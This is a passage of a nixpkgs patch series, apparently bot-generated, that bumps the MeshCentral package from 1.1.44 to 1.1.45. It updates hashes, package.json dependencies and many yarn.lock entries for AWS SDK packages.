+    hash = "sha256-wAatlCckSpa/BE4UVR/L6SkVmNyW2/cl//JOy62EaLc=";
   };
 
-  vendorHash = "sha256-C5XW3nxTUjcH6YaFYSxuKdtMF5SvrbOjErWIQXNwSJA=";
+  vendorHash = "sha256-/rmx9g7OfsZXr3zb1UfR1qLxdV2/ELzc/wXn0fJRzbE=";
 
   ldflags = [
     "-s"

From 83252a5497e1796e323536565f59ca69518a84f3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 04:12:12 +0000
Subject: [PATCH 2101/4511] meshcentral: 1.1.44 -> 1.1.45

(cherry picked from commit ae1eeae643fc7cd01fc06664f6a278816b58203b)
---
 pkgs/tools/admin/meshcentral/default.nix  |    8 +-
 pkgs/tools/admin/meshcentral/package.json |    7 +-
 pkgs/tools/admin/meshcentral/yarn.lock    | 1386 +++++++++++----------
 3 files changed, 713 insertions(+), 688 deletions(-)

diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix
index 244dd0acd107..c6973aa2ceeb 100644
--- a/pkgs/tools/admin/meshcentral/default.nix
+++ b/pkgs/tools/admin/meshcentral/default.nix
@@ -8,11 +8,11 @@
 }:
 
 yarn2nix-moretea.mkYarnPackage {
-  version = "1.1.44";
+  version = "1.1.45";
 
   src = fetchzip {
-    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.44.tgz";
-    sha256 = "1rjn608czjn0f066wgakdzkz73wx0lrinrqs83j44h49qfqwxkl3";
+    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.45.tgz";
+    sha256 = "1dwn0xaqa5f2wzlc3xygwww0pv9dkvxax8a5ysy08d9zsnpy61ra";
   };
 
   patches = [
@@ -24,7 +24,7 @@ yarn2nix-moretea.mkYarnPackage {
 
   offlineCache = fetchYarnDeps {
     yarnLock = ./yarn.lock;
-    hash = "sha256-WltJXI9hd2OIRuPrqjDoCsa6/zjRGydPYCeiVxZIcS8=";
+    hash = "sha256-mH8R2KMN1rSbRkKPUV5BhnL7VjAN8m8O5stg+s9Zye8=";
   };
 
   # Tarball has CRLF line endings. This makes patching difficult, so let's convert them.
diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json
index 213cb7460e26..3cf6b60d8b29 100644
--- a/pkgs/tools/admin/meshcentral/package.json
+++ b/pkgs/tools/admin/meshcentral/package.json
@@ -1,6 +1,6 @@
 {
   "name": "meshcentral",
-  "version": "1.1.44",
+  "version": "1.1.45",
   "keywords": [
     "Remote Device Management",
     "Remote Device Monitoring",
@@ -97,13 +97,12 @@
     "ldapauth-fork": "5.0.5",
     "ssh2": "1.16.0",
     "svg-captcha": "1.4.0",
-    "image-size": "1.1.1",
+    "image-size": "2.0.2",
     "acme-client": "4.2.5",
     "aedes": "0.39.0",
     "mysql2": "3.11.4",
     "@mysql/xdevapi": "8.0.33",
-    "mongodb": "4.13.0",
-    "saslprep": "1.0.3",
+    "mongodb": "4.17.2",
     "pg": "8.14.1",
     "mariadb": "3.4.0",
     "acebase": "1.29.5",
diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock
index 11e7b0199e46..7ed1c9a76031 100644
--- a/pkgs/tools/admin/meshcentral/yarn.lock
+++ b/pkgs/tools/admin/meshcentral/yarn.lock
@@ -48,410 +48,411 @@
     "@smithy/util-utf8" "^2.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-cognito-identity@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.796.0.tgz#8dcb4cb37789f887ed77e3fdcae8cfe1fff6cada"
-  integrity sha512-p8ZzHICnQaCL4oS16yHUCLH6/VkbmWP8p2P7vALncUYguHDE/oNcWNAARo56x3Qx0TbRCi0OD4KAwD6AhddMdg==
+"@aws-sdk/client-cognito-identity@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.817.0.tgz#43b72aaf94ef1ab483dfc17548db509b8b063d42"
+  integrity sha512-MNGwOJDQU0jpvsLLPSuPQDhPtDzFTc/k7rLmiKoPrIlgb3Y8pSF4crpJ+ZH3+xod2NWyyOVMEMQeMaKFFdMaKw==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/credential-provider-node" "3.796.0"
-    "@aws-sdk/middleware-host-header" "3.775.0"
-    "@aws-sdk/middleware-logger" "3.775.0"
-    "@aws-sdk/middleware-recursion-detection" "3.775.0"
-    "@aws-sdk/middleware-user-agent" "3.796.0"
-    "@aws-sdk/region-config-resolver" "3.775.0"
-    "@aws-sdk/types" "3.775.0"
-    "@aws-sdk/util-endpoints" "3.787.0"
-    "@aws-sdk/util-user-agent-browser" "3.775.0"
-    "@aws-sdk/util-user-agent-node" "3.796.0"
-    "@smithy/config-resolver" "^4.1.0"
-    "@smithy/core" "^3.2.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/credential-provider-node" "3.817.0"
+    "@aws-sdk/middleware-host-header" "3.804.0"
+    "@aws-sdk/middleware-logger" "3.804.0"
+    "@aws-sdk/middleware-recursion-detection" "3.804.0"
+    "@aws-sdk/middleware-user-agent" "3.816.0"
+    "@aws-sdk/region-config-resolver" "3.808.0"
+    "@aws-sdk/types" "3.804.0"
+    "@aws-sdk/util-endpoints" "3.808.0"
+    "@aws-sdk/util-user-agent-browser" "3.804.0"
+    "@aws-sdk/util-user-agent-node" "3.816.0"
+    "@smithy/config-resolver" "^4.1.2"
+    "@smithy/core" "^3.3.3"
     "@smithy/fetch-http-handler" "^5.0.2"
     "@smithy/hash-node" "^4.0.2"
     "@smithy/invalid-dependency" "^4.0.2"
     "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.0"
-    "@smithy/middleware-retry" "^4.1.0"
-    "@smithy/middleware-serde" "^4.0.3"
+    "@smithy/middleware-endpoint" "^4.1.6"
+    "@smithy/middleware-retry" "^4.1.7"
+    "@smithy/middleware-serde" "^4.0.5"
     "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/node-http-handler" "^4.0.4"
     "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.0"
+    "@smithy/smithy-client" "^4.2.6"
     "@smithy/types" "^4.2.0"
     "@smithy/url-parser" "^4.0.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.8"
-    "@smithy/util-defaults-mode-node" "^4.0.8"
-    "@smithy/util-endpoints" "^3.0.2"
+    "@smithy/util-defaults-mode-browser" "^4.0.14"
+    "@smithy/util-defaults-mode-node" "^4.0.14"
+    "@smithy/util-endpoints" "^3.0.4"
     "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.2"
+    "@smithy/util-retry" "^4.0.3"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-sso@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.796.0.tgz#231fc98bd71c5e915e9060fba871a6d9d9ccb3d6"
-  integrity sha512-EJExg8mbwqP0VG+RNFV4ZPuUo7QsDsUfTnuFQY51V8iXrbOdV+PDLRr4psXj2fxvrLxc9AlGUMNqd/j4VZtQzA==
+"@aws-sdk/client-sso@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.817.0.tgz#eca663fb562095f7ff1c2d0af6f89cc1f04e12a4"
+  integrity sha512-fCh5rUHmWmWDvw70NNoWpE5+BRdtNi45kDnIoeoszqVg7UKF79SlG+qYooUT52HKCgDNHqgbWaXxMOSqd2I/OQ==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/middleware-host-header" "3.775.0"
-    "@aws-sdk/middleware-logger" "3.775.0"
-    "@aws-sdk/middleware-recursion-detection" "3.775.0"
-    "@aws-sdk/middleware-user-agent" "3.796.0"
-    "@aws-sdk/region-config-resolver" "3.775.0"
-    "@aws-sdk/types" "3.775.0"
-    "@aws-sdk/util-endpoints" "3.787.0"
-    "@aws-sdk/util-user-agent-browser" "3.775.0"
-    "@aws-sdk/util-user-agent-node" "3.796.0"
-    "@smithy/config-resolver" "^4.1.0"
-    "@smithy/core" "^3.2.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/middleware-host-header" "3.804.0"
+    "@aws-sdk/middleware-logger" "3.804.0"
+    "@aws-sdk/middleware-recursion-detection" "3.804.0"
+    "@aws-sdk/middleware-user-agent" "3.816.0"
+    "@aws-sdk/region-config-resolver" "3.808.0"
+    "@aws-sdk/types" "3.804.0"
+    "@aws-sdk/util-endpoints" "3.808.0"
+    "@aws-sdk/util-user-agent-browser" "3.804.0"
+    "@aws-sdk/util-user-agent-node" "3.816.0"
+    "@smithy/config-resolver" "^4.1.2"
+    "@smithy/core" "^3.3.3"
     "@smithy/fetch-http-handler" "^5.0.2"
     "@smithy/hash-node" "^4.0.2"
     "@smithy/invalid-dependency" "^4.0.2"
     "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.0"
-    "@smithy/middleware-retry" "^4.1.0"
-    "@smithy/middleware-serde" "^4.0.3"
+    "@smithy/middleware-endpoint" "^4.1.6"
+    "@smithy/middleware-retry" "^4.1.7"
+    "@smithy/middleware-serde" "^4.0.5"
     "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/node-http-handler" "^4.0.4"
     "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.0"
+    "@smithy/smithy-client" "^4.2.6"
     "@smithy/types" "^4.2.0"
     "@smithy/url-parser" "^4.0.2"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.8"
-    "@smithy/util-defaults-mode-node" "^4.0.8"
-    "@smithy/util-endpoints" "^3.0.2"
+    "@smithy/util-defaults-mode-browser" "^4.0.14"
+    "@smithy/util-defaults-mode-node" "^4.0.14"
+    "@smithy/util-endpoints" "^3.0.4"
     "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.2"
+    "@smithy/util-retry" "^4.0.3"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/core@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.796.0.tgz#6076b78772c1eb97ec6ea9064c85ce500e0aa889"
-  integrity sha512-tH8Sp7lCxISVoLnkyv4AouuXs2CDlMhTuesWa0lq2NX1f+DXsMwSBtN37ttZdpFMw3F8mWdsJt27X9h2Oq868A==
+"@aws-sdk/core@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.816.0.tgz#f310a2fd458534b13f42de5e10fdfd3dfc8d4982"
+  integrity sha512-Lx50wjtyarzKpMFV6V+gjbSZDgsA/71iyifbClGUSiNPoIQ4OCV0KVOmAAj7mQRVvGJqUMWKVM+WzK79CjbjWA==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/core" "^3.2.0"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/core" "^3.3.3"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/protocol-http" "^5.1.0"
     "@smithy/signature-v4" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.0"
+    "@smithy/smithy-client" "^4.2.6"
     "@smithy/types" "^4.2.0"
     "@smithy/util-middleware" "^4.0.2"
     fast-xml-parser "4.4.1"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-cognito-identity@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.796.0.tgz#c037d35d8a8284fc4cc658da9e7a2498f3703f1f"
-  integrity sha512-plvMsQNWW1Jq7YRs8S6xHEbdn+kO/F+vDjCBrPaT4LhcDMsXqO/jcDNRuYOnPRBQsqjp7n7MM3oMhyY4fupa6g==
+"@aws-sdk/credential-provider-cognito-identity@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.817.0.tgz#846db6edb05df88e98b2c775f582832addc808d7"
+  integrity sha512-+dzgWGmdmMNDdeSF+VvONN+hwqoGKX5A6Z3+siMO4CIoKWN7u5nDOx/JLjTGdVQji3522pJjJ+o9veQJNWOMRg==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/client-cognito-identity" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-env@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.796.0.tgz#4ed6903814868b0f9daa8c8db449b1f1adcda041"
-  integrity sha512-kQzGKm4IOYYO6vUrai2JocNwhJm4Aml2BsAV+tBhFhhkutE7khf9PUucoVjB78b0J48nF+kdSacqzY+gB81/Uw==
+"@aws-sdk/credential-provider-env@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.816.0.tgz#a5e1dd3a23403f6c8ea4cbdcbf06d7986bcd1e81"
+  integrity sha512-wUJZwRLe+SxPxRV9AENYBLrJZRrNIo+fva7ZzejsC83iz7hdfq6Rv6B/aHEdPwG/nQC4+q7UUvcRPlomyrpsBA==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-http@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.796.0.tgz#7f36074021b2605dba4b758b4b0ca98fb5b965ad"
-  integrity sha512-wWOT6VAHIKOuHdKFGm1iyKvx7f6+Kc/YTzFWJPuT+l+CPlXR6ylP1UMIDsHHLKpMzsrh3CH77QDsjkhQrnKkfg==
+"@aws-sdk/credential-provider-http@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.816.0.tgz#35e5188e9c0143c48d02a9c7ca08f9e6e4821ed1"
+  integrity sha512-gcWGzMQ7yRIF+ljTkR8Vzp7727UY6cmeaPrFQrvcFB8PhOqWpf7g0JsgOf5BSaP8CkkSQcTQHc0C5ZYAzUFwPg==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/fetch-http-handler" "^5.0.2"
     "@smithy/node-http-handler" "^4.0.4"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.0"
+    "@smithy/smithy-client" "^4.2.6"
     "@smithy/types" "^4.2.0"
     "@smithy/util-stream" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-ini@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.796.0.tgz#6d5f260b93104b126e26919287a4e131d1cb8e75"
-  integrity sha512-qGWBDn9aO8avFfYU7daps7Sy6OglF1x0q0w48slt0KMXbHd2/LvKVIiYwyofYCXed0yzcEOF2IYm9FjXdcn+ug==
+"@aws-sdk/credential-provider-ini@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.817.0.tgz#eb0d2dab8fc861cc0871e1a01bac6ac3f84a3b8b"
+  integrity sha512-kyEwbQyuXE+phWVzloMdkFv6qM6NOon+asMXY5W0fhDKwBz9zQLObDRWBrvQX9lmqq8BbDL1sCfZjOh82Y+RFw==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/credential-provider-env" "3.796.0"
-    "@aws-sdk/credential-provider-http" "3.796.0"
-    "@aws-sdk/credential-provider-process" "3.796.0"
-    "@aws-sdk/credential-provider-sso" "3.796.0"
-    "@aws-sdk/credential-provider-web-identity" "3.796.0"
-    "@aws-sdk/nested-clients" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/credential-provider-imds" "^4.0.2"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/credential-provider-env" "3.816.0"
+    "@aws-sdk/credential-provider-http" "3.816.0"
+    "@aws-sdk/credential-provider-process" "3.816.0"
+    "@aws-sdk/credential-provider-sso" "3.817.0"
+    "@aws-sdk/credential-provider-web-identity" "3.817.0"
+    "@aws-sdk/nested-clients" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/credential-provider-imds" "^4.0.4"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/shared-ini-file-loader" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-node@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.796.0.tgz#aa621e4f15d7317b351c1dbb896bfcabbc21db0c"
-  integrity sha512-WeNK7OWPrsOvhO3DAgpUO0FtmVghMaZ/IpPJHJ4Y0nBIsWOBXLrbZ2Y1mdT8N2bGGUaM91tJaV8Yf8COc3gvmA==
+"@aws-sdk/credential-provider-node@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.817.0.tgz#ffa311d3917535a24a3319ff01f430c5ba4139e0"
+  integrity sha512-b5mz7av0Lhavs1Bz3Zb+jrs0Pki93+8XNctnVO0drBW98x1fM4AR38cWvGbM/w9F9Q0/WEH3TinkmrMPrP4T/w==
   dependencies:
-    "@aws-sdk/credential-provider-env" "3.796.0"
-    "@aws-sdk/credential-provider-http" "3.796.0"
-    "@aws-sdk/credential-provider-ini" "3.796.0"
-    "@aws-sdk/credential-provider-process" "3.796.0"
-    "@aws-sdk/credential-provider-sso" "3.796.0"
-    "@aws-sdk/credential-provider-web-identity" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/credential-provider-imds" "^4.0.2"
+    "@aws-sdk/credential-provider-env" "3.816.0"
+    "@aws-sdk/credential-provider-http" "3.816.0"
+    "@aws-sdk/credential-provider-ini" "3.817.0"
+    "@aws-sdk/credential-provider-process" "3.816.0"
+    "@aws-sdk/credential-provider-sso" "3.817.0"
+    "@aws-sdk/credential-provider-web-identity" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/credential-provider-imds" "^4.0.4"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/shared-ini-file-loader" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-process@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.796.0.tgz#d22d8adf73985fb218ff74365cd86b71bbd64513"
-  integrity sha512-r4e8/4AdKn/qQbRVocW7oXkpoiuXdTv0qty8AASNLnbQnT1vjD1bvmP6kp4fbHPWgwY8I9h0Dqjp49uy9Bqyuw==
+"@aws-sdk/credential-provider-process@3.816.0":
+  version "3.816.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.816.0.tgz#8fa3694b8d17d4e446de038e74d5a177d25d86f0"
+  integrity sha512-9Tm+AxMoV2Izvl5b9tyMQRbBwaex8JP06HN7ZeCXgC5sAsSN+o8dsThnEhf8jKN+uBpT6CLWKN1TXuUMrAmW1A==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/shared-ini-file-loader" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-sso@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.796.0.tgz#db9081637747162ed8c5b29c61a98b898eea3e99"
-  integrity sha512-RUYsQ1t6UdzkpZ7pocUt1l/9l9GCYCaopIhv0DU6CipA8rkWtoweKsLHKdv+8wE4p6gqDfDIHGam1ivswiCIzg==
+"@aws-sdk/credential-provider-sso@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.817.0.tgz#e23361a57f6aa72417847d568d7fb807a3c7ebfc"
+  integrity sha512-gFUAW3VmGvdnueK1bh6TOcRX+j99Xm0men1+gz3cA4RE+rZGNy1Qjj8YHlv0hPwI9OnTPZquvPzA5fkviGREWg==
   dependencies:
-    "@aws-sdk/client-sso" "3.796.0"
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/token-providers" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/client-sso" "3.817.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/token-providers" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/shared-ini-file-loader" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-web-identity@3.796.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.796.0.tgz#8d19749fcf28f6603bb26a402f3f8e24797c35ba"
-  integrity sha512-dpmFJT4IyjT09vruvMu/rWQQjVreqdxAe8pLPpGhoeKyA1O6+PS73b+VNXKvD31rQT8e4g6dVpA6KMxNW63aag==
+"@aws-sdk/credential-provider-web-identity@3.817.0":
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.817.0.tgz#7d3c9c5af5a5d17ea877feda57b92ba075df64a8"
+  integrity sha512-A2kgkS9g6NY0OMT2f2EdXHpL17Ym81NhbGnQ8bRXPqESIi7TFypFD2U6osB2VnsFv+MhwM+Ke4PKXSmLun22/A==
   dependencies:
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/nested-clients" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/nested-clients" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
 "@aws-sdk/credential-providers@^3.186.0":
-  version "3.796.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.796.0.tgz#60a9544366a08e6e6dc69625a668cfd12b6501d9"
-  integrity sha512-thZw44Bk3pS0PW81QmPfNSliX5XfXHDlWRjPYHBx+eTlPtidyD5klJkkfF5fkQlpHPeP2KNLuRnr6bRu+uMirg==
+  version "3.817.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.817.0.tgz#b8db526715d8ac61e7d4650e4f6bab669429d204"
+  integrity sha512-i6Q2MyktWHG4YG+EmLlnXTgNVjW9/yeNHSKzF55GTho5fjqfU+t9beJfuMWclanRCifamm3N5e5OCm52rVDdTQ==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.796.0"
-    "@aws-sdk/core" "3.796.0"
-    "@aws-sdk/credential-provider-cognito-identity" "3.796.0"
-    "@aws-sdk/credential-provider-env" "3.796.0"
-    "@aws-sdk/credential-provider-http" "3.796.0"
-    "@aws-sdk/credential-provider-ini" "3.796.0"
-    "@aws-sdk/credential-provider-node" "3.796.0"
-    "@aws-sdk/credential-provider-process" "3.796.0"
-    "@aws-sdk/credential-provider-sso" "3.796.0"
-    "@aws-sdk/credential-provider-web-identity" "3.796.0"
-    "@aws-sdk/nested-clients" "3.796.0"
-    "@aws-sdk/types" "3.775.0"
-    "@smithy/config-resolver" "^4.1.0"
-    "@smithy/core" "^3.2.0"
-    "@smithy/credential-provider-imds" "^4.0.2"
-    "@smithy/node-config-provider" "^4.0.2"
+    "@aws-sdk/client-cognito-identity" "3.817.0"
+    "@aws-sdk/core" "3.816.0"
+    "@aws-sdk/credential-provider-cognito-identity" "3.817.0"
+    "@aws-sdk/credential-provider-env" "3.816.0"
+    "@aws-sdk/credential-provider-http" "3.816.0"
+    "@aws-sdk/credential-provider-ini" "3.817.0"
+    "@aws-sdk/credential-provider-node" "3.817.0"
+    "@aws-sdk/credential-provider-process" "3.816.0"
+    "@aws-sdk/credential-provider-sso" "3.817.0"
+    "@aws-sdk/credential-provider-web-identity" "3.817.0"
+    "@aws-sdk/nested-clients" "3.817.0"
+    "@aws-sdk/types" "3.804.0"
+    "@smithy/config-resolver" "^4.1.2"
+    "@smithy/core" "^3.3.3"
+    "@smithy/credential-provider-imds" "^4.0.4"
+    "@smithy/node-config-provider" "^4.1.1"
     "@smithy/property-provider" "^4.0.2"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-host-header@3.775.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.775.0.tgz#1bf8160b8f4f96ba30c19f9baa030a6c9bd5f94d"
-  integrity sha512-tkSegM0Z6WMXpLB8oPys/d+umYIocvO298mGvcMCncpRl77L9XkvSLJIFzaHes+o7djAgIduYw8wKIMStFss2w==
+"@aws-sdk/middleware-host-header@3.804.0":
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.804.0.tgz#e4c2180cfc75f19c697974383324509fa104d7a3"
+  integrity sha512-bum1hLVBrn2lJCi423Z2fMUYtsbkGI2s4N+2RI2WSjvbaVyMSv/WcejIrjkqiiMR+2Y7m5exgoKeg4/TODLDPQ==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/protocol-http" "^5.1.0"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-logger@3.775.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.775.0.tgz#df1909d441cd4bade8d6c7d24c41532808db0e81"
-  integrity sha512-FaxO1xom4MAoUJsldmR92nT1G6uZxTdNYOFYtdHfd6N2wcNaTuxgjIvqzg5y7QIH9kn58XX/dzf1iTjgqUStZw==
+"@aws-sdk/middleware-logger@3.804.0":
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.804.0.tgz#9b7860d0193ec8647a1102aa6ffad070e3260513"
+  integrity sha512-w/qLwL3iq0KOPQNat0Kb7sKndl9BtceigINwBU7SpkYWX9L/Lem6f8NPEKrC9Tl4wDBht3Yztub4oRTy/horJA==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-recursion-detection@3.775.0":
-  version "3.775.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.775.0.tgz#36a40f467754d7c86424d12ef45c05e96ce3475b"
-  integrity sha512-GLCzC8D0A0YDG5u3F5U03Vb9j5tcOEFhr8oc6PDk0k0vm5VwtZOE6LvK7hcCSoAB4HXyOUM0sQuXrbaAh9OwXA==
+"@aws-sdk/middleware-recursion-detection@3.804.0":
+  version "3.804.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.804.0.tgz#797bbe72c765e83a1d4c259db9799b77831e1fbb"
+  integrity sha512-zqHOrvLRdsUdN/ehYfZ9Tf8svhbiLLz5VaWUz22YndFv6m9qaAcijkpAOlKexsv3nLBMJdSdJ6GUTAeIy3BZzw==
   dependencies:
-    "@aws-sdk/types" "3.775.0"
+    "@aws-sdk/types" "3.804.0"
     "@smithy/protocol-http" "^5.1.0"
     "@smithy/types" "^4.2.0"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-user-agent@3.796.0":
-  version "3.796.0"
